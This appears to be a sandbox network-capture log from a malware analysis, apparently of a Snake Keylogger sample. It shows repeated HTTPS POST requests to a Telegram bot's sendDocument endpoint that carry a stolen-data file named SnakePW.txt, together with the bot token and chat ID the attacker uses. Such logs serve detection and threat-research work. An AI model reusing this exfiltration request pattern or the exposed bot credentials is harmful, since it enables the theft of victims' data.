2022-06-26 07:32:41 UTC	14	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:41 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:41 UTC	14	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66754,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228761,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49913	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:12 UTC	135	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e8a58707 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:12 UTC	135	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 38 61 35 38 37 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e8a58707Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:12 UTC	135	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:12 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:12 UTC	136	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66837,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228792,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	49914	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:13 UTC	136	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e936f62b Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:13 UTC	137	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 39 33 36 66 36 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e936f62bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:13 UTC	137	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:13 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:13 UTC	138	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66838,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228793,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49917	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:14 UTC	138	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e98a6837 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:14 UTC	138	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 39 38 61 36 38 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e98a6837Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:14 UTC	139	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:14 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:14 UTC	139	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66839,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228794,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	49919	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:14 UTC	140	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e9bedca3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:14 UTC	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 39 62 65 64 63 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e9bedca3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:14 UTC	141	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:14 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:14 UTC	141	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66840,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228794,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49922	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:14 UTC	141	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ea0b2858 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:14 UTC	142	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 61 30 62 32 38 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ea0b2858Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:15 UTC	142	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:15 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:15 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66841,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228795,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	49925	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:15 UTC	143	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ea492460 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:15 UTC	143	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 61 34 39 32 34 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ea492460Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:15 UTC	144	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:15 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:15 UTC	144	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66842,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228795,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49928	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:15 UTC	145	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ea7d9812 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:15 UTC	145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 61 37 64 39 38 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ea7d9812Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:15 UTC	146	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:15 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:15 UTC	146	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66843,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228795,"document":{"file_

